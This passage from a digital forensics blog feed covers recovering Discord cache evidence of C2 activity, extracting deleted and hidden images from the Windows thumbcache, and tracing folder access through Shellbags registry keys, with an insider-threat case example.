&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/16-83b00bd6.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/16-83b00bd6.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/16-83b00bd6.webp 4406w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/16-83b00bd6.webp&quot; alt=&quot;Figure 16: HTML Report Snippet&quot; width=&quot;4406&quot; height=&quot;625&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 16: HTML Report Snippet&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/17-2a139390.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/17-2a139390.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/17-2a139390.webp 1938w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/17-2a139390.webp&quot; alt=&quot;Figure 17: Carved File&quot; width=&quot;1938&quot; height=&quot;799&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 17: Carved File&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;These files are automatically extracted and stored in a media folder.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/18-f2360ee5.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/18-f2360ee5.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/18-f2360ee5.webp 2050w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/18-f2360ee5.webp&quot; alt=&quot;Figure 18: Media Extracted&quot; width=&quot;2050&quot; height=&quot;1048&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 18: Media Extracted&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;So, even if the threat actor has exfiltrated data from the host and attempted to cover their tracks, by parsing the cache folder, analysts can recover a wealth of forensic evidence, including exfiltrated files, recon outputs, webhook URLs, and API calls, all of which help reconstruct attacker activity.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Discord’s legitimacy and ease of use make it an appealing choice for threat actors looking to exfiltrate data or establish lightweight C2 channels without raising alarms. So, as defenders, we should be aware of how this same convenience can also work against them: Discord’s cache preserves a detailed forensic record image, attachments, and webhook interactions, often long after the content has been deleted from the platform.&lt;/p&gt;
&lt;p&gt;Discord leaves telemetry that can be used by DFIR teams to reconstruct attacker timelines, validate exfiltrated content, and strengthen attribution.&lt;/p&gt;
&lt;p&gt;That’s why we built DFS (not the sofa company) but the Discord Forensic Suite.&lt;/p&gt;
&lt;p&gt;Analysts can quickly triage a host, generate a HTML report with hashes and timestamps, and package the findings into an evidence package for review.&lt;/p&gt;
&lt;h2 id=&quot;tool&quot;&gt;Tool&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jwdfir/discord_cache_parser&quot;&gt;&lt;strong&gt;Discord Forensic Suite&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Threat Analysis</category><category>C2</category><category>Discord</category><category>malware</category><category>cache forensics</category></item><item><title>Thumbnail forensics. DFIR techniques for analysing Windows Thumbcache</title><link>https://jwdfir.com/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/</link><guid isPermaLink="true">https://jwdfir.com/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/</guid><description>How Windows thumbcache keeps previews of deleted and hidden images, and how to extract and correlate them to reconstruct user activity.</description><pubDate>Fri, 08 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use Windows Thumbcache to reveal deleted or hidden images.&lt;/li&gt;
&lt;li&gt;How thumbnail cache can uncover user activity and insider threats.&lt;/li&gt;
&lt;li&gt;Reconstruct activity through cached thumbnails.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Windows thumbnail cache, or thumbcache, is a well-known forensic artifact, but often one that is overlooked. The thumbcache stores small previews of images, videos and documents and can persist even after the original files are deleted, which offers analysts an opportunity to uncover traces of user activity. In this blog, we will show how DFIR analysts can use thumbcache forensics to extract and interpret thumbnails, even when files are ‘gone’.&lt;/p&gt;
&lt;h2 id=&quot;windows-thumbcache&quot;&gt;Windows Thumbcache&lt;/h2&gt;
&lt;p&gt;Windows creates thumbnails for media content like images and videos to enhance the user experience, these thumbnails are stored in a database on a user’s machine. If a file is deleted, it’s associated thumbnail may still remain in the cache, making it a valuable forensic artifact.&lt;/p&gt;
&lt;p&gt;Thumbnail creation: These thumbnails are created when a user views or interacts with a directory containing media files. Windows will generate thumbnails for those images and store them in dedicated databases e.g. thumbcache_1280.db for 1280 pixel wide thumbnails.&lt;/p&gt;
&lt;h2 id=&quot;forensic-significance&quot;&gt;Forensic significance&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Thumbnails remain cached even if the original file is deleted, allowing analysts to identify deleted content.&lt;/li&gt;
&lt;li&gt;Metadata within thumb cache files can include original file paths, helping determine where a file was accessed.&lt;/li&gt;
&lt;li&gt;Cached thumbnails can reveal what a user has viewed, even if it is later deleted, moved or hidden.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;determining-user-interactions&quot;&gt;Determining user interactions&lt;/h2&gt;
&lt;p&gt;How was the file viewed? The specific Thumbcache file in which a thumbnail appears can provide insight into how the user was interacting with that file. For example, thumbnails stored in the Thumbcache_1280.db are files which are likely to have been viewed by the user in a large preview mode e.g. opening the file with media viewer applications such as Windows Media Player.&lt;/p&gt;
&lt;p&gt;However, thumbnails stored in Thumbcache_96.db proposes the thumbnails stored here may derive from the end user accessing a directory containing files and they may not have been opened with an application to view the full size image.&lt;/p&gt;
&lt;p&gt;If the original file has been deleted but its thumbnail is in the thumbcache, it shows that the file was accessed at some point. High-resolution thumbnails (like those in thumbcache_1280) often suggest the file was viewed by the user, while low-resolution thumbnails (such as thumbcache_96) can be generated during regular browsing.&lt;/p&gt;
&lt;h2 id=&quot;analysis-of-the-thumbcache-tools-and-techniques&quot;&gt;Analysis of the Thumbcache: Tools and techniques&lt;/h2&gt;
&lt;p&gt;Locate the files: These databases are stored in the below location: %USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer&lt;/p&gt;
&lt;p&gt;Extract and parse the files: We have used a free GUI based tool, Thumbcache Viewer, for parsing the thumbcache files and extracting thumbnails.&lt;/p&gt;
&lt;p&gt;For testing purposes I created the following images, one of which has been ‘permanently deleted’ and another which has been ‘hidden’.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/01-72d2c668.webp&quot; alt=&quot;Figure 1: Test Images&quot; width=&quot;796&quot; height=&quot;207&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 1: Test Images&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/02-8ad56d1e.webp&quot; alt=&quot;Figure 2: Deleted Image&quot; width=&quot;644&quot; height=&quot;259&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 2: Deleted Image&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/03-93c2d2ef.webp&quot; alt=&quot;Figure 3: Hidden Image&quot; width=&quot;754&quot; height=&quot;609&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 3: Hidden Image&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;So, that’s our ‘CONFIDENTIAL’ image permanently deleted, and our ‘Hide Me’ file hidden. Now let’s extract and analyse the thumbcache. Browsing to the location which they reside and traversing the directory, we can see a list of iconcache and Thumbcache databases. We will save the Thumbcache_1280.db file to view high-resolution thumbnails.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/04-351a0442.webp&quot; alt=&quot;Figure 4: Thumbcache Directory&quot; width=&quot;765&quot; height=&quot;628&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 4: Thumbcache Directory&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/05-98706922.webp&quot; alt=&quot;Figure 5: Deleted Image Thumbnail&quot; width=&quot;782&quot; height=&quot;336&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 5: Deleted Image Thumbnail&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Using Thumbcache viewer, we can open our Thumbcache database file and view the contents; The above image looks like it could represent our deleted image, let’s save this file from the thumb cache and place it on our desktop.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/06-96621476.webp&quot; alt=&quot;Figure 6: Deleted Image&quot; width=&quot;709&quot; height=&quot;364&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 6: Deleted Image&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Here is our cached version of the image we deleted earlier, now present on the desktop thanks to the thumbcache database.&lt;/p&gt;
&lt;p&gt;Now let’s look for the hidden image…&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/07-776e843e.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/w800/07-776e843e.webp 800w, https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/07-776e843e.webp 903w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/07-776e843e.webp&quot; alt=&quot;Figure 7: Hidden Image&quot; width=&quot;903&quot; height=&quot;237&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 7: Hidden Image&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Again, browsing the Thumbcache database in Thumbcache viewer, it looks like the above file could be the thumbnail associated to our hidden image, we can save this to the desktop too and verify it’s the image we are looking for.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/08-8be753d5.webp&quot; alt=&quot;Figure 8: Hidden Image&quot; width=&quot;752&quot; height=&quot;335&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 8: Hidden Image&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;There’s the image, but we still don’t know where the original is hidden, so how can we find out where it actually resides?&lt;/p&gt;
&lt;p&gt;Going back to thumbcache viewer, we can use the ‘map file paths to cache entry’ in an attempt to identify the file location, scanning the C:\ directory for file types of interest, this tells Thumbcache Viewer where to look for image files whose thumbnails might match those in the cache.&lt;/p&gt;
&lt;p&gt;We now have 14 files that have been mapped to their original location, let’s see if we can find Hide Me.jpg.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/09-05431e3a.webp&quot; alt=&quot;Figure 9: Mapped Files&quot; width=&quot;691&quot; height=&quot;234&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 9: Mapped Files&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/10-4dc377ac.webp&quot; alt=&quot;Figure 10: File Path&quot; width=&quot;793&quot; height=&quot;197&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 10: File Path&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;So, there we have it, the full file path for the hidden file and recovery of the thumbnail related to the permanently deleted file. To verify the location of the hidden file, let’s take a look:&lt;/p&gt;
&lt;p&gt;Running dir /a:h from the command line, we can list all hidden files in the current directory.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/11-6fe20418.webp&quot; alt=&quot;Figure 11: View Hidden Files&quot; width=&quot;756&quot; height=&quot;212&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 11: View Hidden Files&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Alternatively, using the file explorer, we can simply select view and tick hidden items, which verifies the presence of the hidden file that was pointed out to us by thumbcache viewer.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/thumbnail-forensics-dfir-techniques-for-analysing-windows-thumbcache/12-45bea1a3.webp&quot; alt=&quot;Figure 12: View Hidden Files&quot; width=&quot;816&quot; height=&quot;316&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 12: View Hidden Files&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;tools-used&quot;&gt;Tools used:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Thumbcache Viewer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;use-thumbcache-but-dont-forget-the-rest-of-them&quot;&gt;Use Thumbcache, but don’t forget the rest of them!&lt;/h2&gt;
&lt;p&gt;The real significance for any forensic artifact comes when combined with other artifacts, Shellbags for example (more about Shellbags in my blog post &lt;a href=&quot;https://jwdfir.com/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/&quot;&gt;here&lt;/a&gt;). Shellbags record when and how a user has opened a folder while the thumbcache shows files that were displayed as thumbnails and the times they were generated.&lt;/p&gt;
&lt;p&gt;By correlating shellbag timestamps for a folder with thumbnail timestamps for files in that folder, you can confirm that a user not only accessed the directory but also viewed specific files. This is useful when original files have been moved, deleted or hidden. Shellbags give the folder context and time where thumbcache shows the visual evidence of file access.&lt;/p&gt;
&lt;p&gt;When combined with other artifacts (e.g. Prefetch, UserAssist, Jump Lists, USN Journal, $MFT records, LNK files, Shimcache… the list goes on), we can generate a comprehensive, verifiable timeline of events, evidencing file access, user behaviour and system interactions.&lt;/p&gt;
&lt;h2 id=&quot;real-world-example-insider-threat-and-document-theft&quot;&gt;Real-world example: Insider threat and document theft&lt;/h2&gt;
&lt;p&gt;In a recent case, we investigated an incident where unauthorised access and deletion of confidential documents was suspected. An employee was accused of tampering with sensitive files just before their resignation. They denied any wrongdoing and we were tasked with reconstructing a timeline of events construed from the company issued machine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Initial access to restricted folder&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shellbag evidence&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Shellbag entries showed the user had accessed the restricted folder. It was evidenced that the user had been folder-level browsing in explorer.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Thumbcache creation&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;High-resolution thumbnails from thumbcache_1280.db were present matching the content of several confidential files from the unauthorized folder, which was accessed, evidenced by shellbag analysis. This confirmed the user had previewed or opened these files inside the folder.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Repeated access and file viewing&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shellbag updates&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Shellbag entries continued, with new access timestamps for the same folder, suggesting the user had revisited the folder to view its contents.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Thumbcache validation&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;New thumbnails for additional files inside the folder were found in the thumbcache, this confirmed more files were opened or viewed during this session.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Prefetch files&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Prefetch files showed the launch of applications such as Adobe Acrobat Reader and Microsoft Excel, which are both associated with the opening of files we suspected were opened, these launches were timestamped shortly after folder access and just before thumbnail creation indicating intentional viewing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. File deletion&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;USN Journal activity&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The NTFS USN Journal showed the deletion of multiple confidential files from the folder in question, this provided evidence of file deletion.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event logs&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Security event logs recorded event ID 4660 entries, showing file deletion actions which corresponded to the deleted documents, this helped verify the evidence of when and how the deletion of data occurred.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Thumbnail forensics is a practical, evidence-rich technique when used with corroborating artefacts. Thumbnails themselves are valuable, but they are strongest when presented as part of a wider chain of evidence.&lt;/p&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Windows Forensics</category><category>thumbcache</category><category>user activity</category><category>insider threat</category></item><item><title>DFIR tools and techniques for tracing user footprints through Shellbags</title><link>https://jwdfir.com/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/</link><guid isPermaLink="true">https://jwdfir.com/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/</guid><description>What Windows Shellbags record, where they live in the registry, and how to analyse them with ShellBags Explorer to reconstruct folder access.</description><pubDate>Thu, 31 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Shellbags are Windows registry artifacts that log user interactions with folders even after those folders are deleted.&lt;/li&gt;
&lt;li&gt;They contain timestamps and metadata that help reconstruct user activity timelines.&lt;/li&gt;
&lt;li&gt;These artifacts can be viewed manually in RegEdit or more easily analysed with tools like Shellbags Explorer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Shellbags are a valuable forensic artifact, providing analysts with information about user interactions with folders in Windows. These registry keys record metadata such as folder paths, view settings and timestamps. These artifacts offer insight into what folders a user has accessed, Shellbags persist even if folders are deleted, making them an important artifact for &lt;a href=&quot;https://www.pentestpartners.com/service/digital-forensic-investigations/&quot;&gt;Digital Forensic&lt;/a&gt; &lt;a href=&quot;https://www.pentestpartners.com/service/incident-response/&quot;&gt;Incident Response&lt;/a&gt; (DFIR) investigations. In this blog post I will detail the significance of Shellbags and their relevance to forensic and incident response analysts.&lt;/p&gt;
&lt;h2 id=&quot;what-are-shellbags&quot;&gt;What are Shellbags?&lt;/h2&gt;
&lt;p&gt;When you browse a folder in Windows and change the window’s settings, such as altering the size of the folder, changing the window contents view (e.g. by changing to list or extra-large icon view) the information is remembered by Windows for the next time you open the file explorer. Windows must store these preferences somewhere —that somewhere is known as Shellbags.&lt;/p&gt;
&lt;h2 id=&quot;where-are-they-located&quot;&gt;Where are they located?&lt;/h2&gt;
&lt;p&gt;Shellbags can be found in the user specific section of the registry, indexed by the user’s SID, with an alias in HKEY_CURRENT_USER for the current user:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User-Specific Shellbags&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HKEY_USERS\&amp;lt;*SID*&amp;gt;\Software\Microsoft\Windows\Shell\BagMRU&lt;/li&gt;
&lt;li&gt;HKEY_USERS\&amp;lt;*SID*&amp;gt;\Software\Microsoft\Windows\Shell\Bags&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Current User Shellbags&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\BagMRU&lt;/li&gt;
&lt;li&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Bags&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Supporting Files&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Shellbag data is also found inside user registry hive files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NTUSER.DAT: Located at C:\Users\&amp;lt;Username&amp;gt;\NTUSER.DAT&lt;/li&gt;
&lt;li&gt;USRCLASS.DAT: Located at C:\Users\&amp;lt;Username&amp;gt;\AppData\Local\Microsoft\Windows&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/01-5a4b6b50.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/01-5a4b6b50.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/01-5a4b6b50.webp 1014w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/01-5a4b6b50.webp&quot; alt=&quot;Figure 1: Shellbags Location&quot; width=&quot;1014&quot; height=&quot;251&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 1: Shellbags Location&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;relevance-to-dfir-analysts&quot;&gt;Relevance to DFIR Analysts&lt;/h2&gt;
&lt;p&gt;There are two folders of note inside the Shells folder, these include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BagMRU – Maintains hierarchical structure of folder paths.&lt;/li&gt;
&lt;li&gt;Bags – Stores information about each folder, including view settings and timestamps.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Shellbags are a useful tool for forensic investigators and incident responders, because the data stored is persistent, even if the folders have been deleted.&lt;/p&gt;
&lt;p&gt;They include clear timestamps that show when a folder was opened or changed. When matched with other basic forensic evidence, this information can be very helpful for DFIR analysts trying to understand what happened on a system.&lt;/p&gt;
&lt;h2 id=&quot;analysis-of-shellbags-tools-and-techniques&quot;&gt;Analysis of Shellbags: Tools and Techniques&lt;/h2&gt;
&lt;p&gt;Shellbags artifacts can be analysed manually in a tool like Registry Editor, however, &lt;a href=&quot;https://www.sans.org/tools/shellbags-explorer&quot;&gt;Shellbags Explorer&lt;/a&gt;, developed by Eric Zimmerman, makes analysis of these registry keys much easier.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/02-04179f61.webp&quot; alt=&quot;Figure 2: ShellBags Explorer&quot; width=&quot;728&quot; height=&quot;312&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 2: ShellBags Explorer&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Using Shellbags Explorer, we can either load an active registry or an offline hive. For the purpose of this analysis, I will load the active registry, but in a real-world investigative scenario, offline hives are more commonly used.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/03-67b86f7c.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/03-67b86f7c.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/03-67b86f7c.webp 1152w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/03-67b86f7c.webp&quot; alt=&quot;Figure 3: Parsing Summary&quot; width=&quot;1152&quot; height=&quot;1088&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 3: Parsing Summary&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Once loaded, we are presented with the above window, which details the amount of Shellbags that were found, broken down into bag types.&lt;/p&gt;
&lt;p&gt;For testing purposes, I have created and deleted the following folders:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;C:\Users\joseph.williams\Documents\&lt;strong&gt;Secret Folder\Don’t look in here\Go away\You won’t find anything\Stop opening me\GO BACK\Secret.zip&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;However, as mentioned earlier – although the folders, sub-folders and zips have been deleted; reference to them still exists in the Shellbags artifact, meaning that the users attempt to hide evidence that they had accessed these folders is unfortunately for them, futile.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/04-477d91be.webp&quot; alt=&quot;Figure 4: Shellbag Evidence&quot; width=&quot;881&quot; height=&quot;617&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 4: Shellbag Evidence&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The above snippet shows that although the folders have since been deleted, their original location and names are still present thanks to Shellbags. We can dig a little deeper into these folders below:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/05-0acf585a.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/05-0acf585a.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/05-0acf585a.webp 4978w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/05-0acf585a.webp&quot; alt=&quot;Figure 5: Shellbag Evidence&quot; width=&quot;4978&quot; height=&quot;359&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 5: Shellbag Evidence&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Above, we can see the name of the folder the user has accessed, the icon associated to it, the shell type (i.e. directory) as well as the created, accessed, modified and last interacted times. We can also confirm that the user has explored this folder.&lt;/p&gt;
&lt;p&gt;Looking further into the folder, we can see that the user has traversed through the full directory, eventually gaining access to ‘Secret.zip’.&lt;/p&gt;
